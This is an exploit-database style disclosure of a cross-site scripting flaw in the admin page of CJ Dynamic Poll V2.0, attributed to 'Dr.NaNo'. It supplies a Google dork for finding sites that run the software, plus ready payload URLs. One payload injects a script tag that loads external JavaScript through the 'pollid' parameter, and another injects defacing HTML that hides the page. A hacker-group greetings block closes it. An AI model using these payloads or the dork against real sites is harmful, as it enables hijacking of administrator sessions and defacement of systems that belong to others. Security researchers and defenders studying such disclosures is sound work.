CJ Dynamic Poll V2.0 <= XSS Vulnerability



EKU-ID: 1915 CVE: OSVDB-ID:
Author: Dr.NaNo Published: 2012-04-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: CJ Dynamic Poll V2.0 <= XSS Vulnerability
# Author: Dr.NaNo
# Software Link: http://www.cj-design.com/products/free-downloads/php-scripts/cjdynamicpoll
# Version: 2.0
# Tested on: Linux-Red-Hat
# Google Dork: powered By CJ Dynamic Poll V2.0
#
########################################################
#                       ~ P0c~                         #
########################################################


|+| Cross Site Scripting :

http://localhost/{PaTh}/admin/admin_index.php?action=reset_poll_ip&pollid={XSS}

     ~ For Example ~

http://localhost/{PaTh}/admin/admin_index.php?action=reset_poll_ip&pollid=<SCRIPT SRC=http://localhost/XSS.js></SCRIPT>

http://localhost/{PaTh}/admin/admin_index.php?action=reset_poll_ip&pollid=<center><h1>Dr.NaNo</H1> <DIV style="DISPLAY: none"><textarea>



#### ~ Greetz ~ #########################################################
#                                                                       #
# Dr.WEP , JIKO , ahwak2000 , RENO , ABU NWAF , Dr.HAiL , snc0pe , 020  #
#                                                                       #
# JaBrOt HaCkEr , alkaseer20 , SadHaCkEr , Cyber Code , aircrack -ng    #
#                                                                       #
############################################### ~ All FriendS ~ #########